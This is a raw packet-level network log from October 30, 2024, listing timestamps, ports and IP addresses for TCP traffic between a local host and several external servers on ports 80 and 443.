Oct 30, 2024 12:36:57.563472033 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563512087 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563525915 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563560009 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563565969 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563610077 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563612938 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563647032 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563678026 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563682079 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563705921 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563725948 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563730001 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563761950 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563771009 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563797951 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563829899 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563832045 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563867092 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563879967 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563913107 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563925028 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563925028 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563946962 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563957930 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.563978910 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.563986063 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564009905 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564033985 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564070940 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564084053 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564120054 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564131975 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564171076 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564179897 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564214945 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564227104 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564244032 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564249992 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564275980 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564287901 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564317942 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564327955 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564361095 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564371109 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564393997 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564414978 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564421892 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564435959 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564461946 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564469099 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564510107 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564517021 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564549923 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564555883 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564583063 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564590931 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564615965 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564620972 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564655066 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564665079 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564697027 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564711094 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564740896 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564747095 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564779043 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564795971 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564824104 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564830065 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564862013 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564872980 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564903975 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564913034 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564944029 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.564951897 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.564980984 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565000057 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565012932 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565017939 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565048933 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565068960 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565089941 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565098047 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565134048 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565145969 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565166950 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565176964 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565198898 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565198898 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565232038 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565243006 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565263987 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565279961 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565296888 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565310001 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565329075 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565346003 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565361977 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565378904 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565395117 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565404892 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565427065 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565440893 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565459967 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565466881 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565491915 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565502882 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565525055 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565531969 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565557957 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565567970 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565592051 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565593958 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565623045 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565632105 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565654993 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565663099 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565687895 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565695047 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565720081 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565731049 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565747976 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565761089 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565779924 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565783978 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565813065 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565823078 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565845966 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565861940 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565880060 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565891981 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565913916 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565926075 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565947056 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565957069 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.565978050 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.565987110 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566010952 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566018105 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566042900 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566051006 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566076040 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566083908 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566108942 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566118002 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566143990 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566148043 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566171885 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566181898 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566204071 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566207886 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566236973 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566242933 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566268921 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566277027 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566303015 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566307068 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566334963 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566342115 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566368103 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566373110 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566400051 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566414118 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566432953 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566441059 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566461086 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566476107 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566493034 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566504955 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566526890 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566534042 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566560030 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566566944 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566593885 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566603899 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566625118 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566628933 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566660881 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566662073 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566689968 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566699982 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566721916 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566725969 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566754103 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566768885 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566781998 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566800117 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566819906 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566823006 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566858053 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566862106 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566891909 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566900015 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566926003 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566932917 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566957951 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566968918 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.566988945 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.566998005 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567018032 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567030907 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567049980 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567075968 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567084074 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567084074 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567116022 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567126989 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567150116 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567157984 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567205906 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567209005 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567238092 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567245960 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567270041 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567275047 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567305088 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567322969 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567348003 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567351103 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567382097 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567388058 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567414045 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567420006 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567446947 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567456007 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567480087 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567488909 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567512035 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567523003 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567545891 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567550898 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567578077 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567579985 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567610979 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567616940 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567642927 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567646980 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567675114 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567684889 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567703962 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567715883 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567717075 CET	49753	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:57.567734957 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567747116 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567754030 CET	443	49753	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:57.567766905 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567769051 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567799091 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567816973 CET	49753	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:57.567831993 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567832947 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567863941 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567866087 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567886114 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567899942 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567914963 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567933083 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567962885 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.567967892 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.567977905 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.568030119 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.568603039 CET	49753	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:57.568614006 CET	443	49753	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:58.167772055 CET	443	49753	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:58.169043064 CET	49753	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:58.169043064 CET	49753	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:58.169071913 CET	443	49753	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:58.169394016 CET	443	49753	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:58.171617985 CET	49753	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:58.171617985 CET	49753	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:58.171655893 CET	443	49753	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:58.633018017 CET	443	49753	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:58.633260012 CET	443	49753	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:58.633274078 CET	49753	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:58.633361101 CET	49753	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:59.565815926 CET	49754	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:59.565877914 CET	443	49754	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:59.565962076 CET	49754	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:59.566554070 CET	49754	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:59.566570997 CET	443	49754	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:59.849556923 CET	49749	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:59.849817038 CET	49755	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:59.855463982 CET	80	49755	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:59.855530024 CET	49755	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:59.855707884 CET	49755	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:59.855871916 CET	80	49749	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:59.855923891 CET	49749	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:59.861180067 CET	80	49755	185.215.113.43	192.168.2.4
Oct 30, 2024 12:37:00.199744940 CET	443	49754	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:00.199848890 CET	49754	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:00.200877905 CET	49754	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:00.200886965 CET	443	49754	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:00.201220036 CET	443	49754	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:00.202210903 CET	49754	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:00.202346087 CET	49754	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:00.202383995 CET	443	49754	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:00.202603102 CET	49754	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:00.202613115 CET	443	49754	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:00.759773016 CET	80	49755	185.215.113.43	192.168.2.4
Oct 30, 2024 12:37:00.760390043 CET	49755	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:37:00.765964031 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:00.766613960 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:00.772778988 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:00.772824049 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:00.772835016 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:00.773134947 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:00.773222923 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:00.778630018 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:00.845045090 CET	443	49754	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:00.845251083 CET	49754	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:01.214972973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 12:37:01.220386028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 12:37:01.220467091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 12:37:01.220909119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 12:37:01.226176023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 12:37:01.710031033 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.710114956 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.710182905 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.710217953 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.710227013 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.710251093 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.710283995 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.710305929 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.710306883 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.710306883 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.710318089 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.710351944 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.710378885 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.710385084 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.710401058 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.710418940 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.710438967 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.710479021 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.716049910 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.718934059 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.865381956 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.865437984 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.865506887 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:01.865515947 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:01.865521908 CET	80	49757	185.215.113.16	192.168.2.4
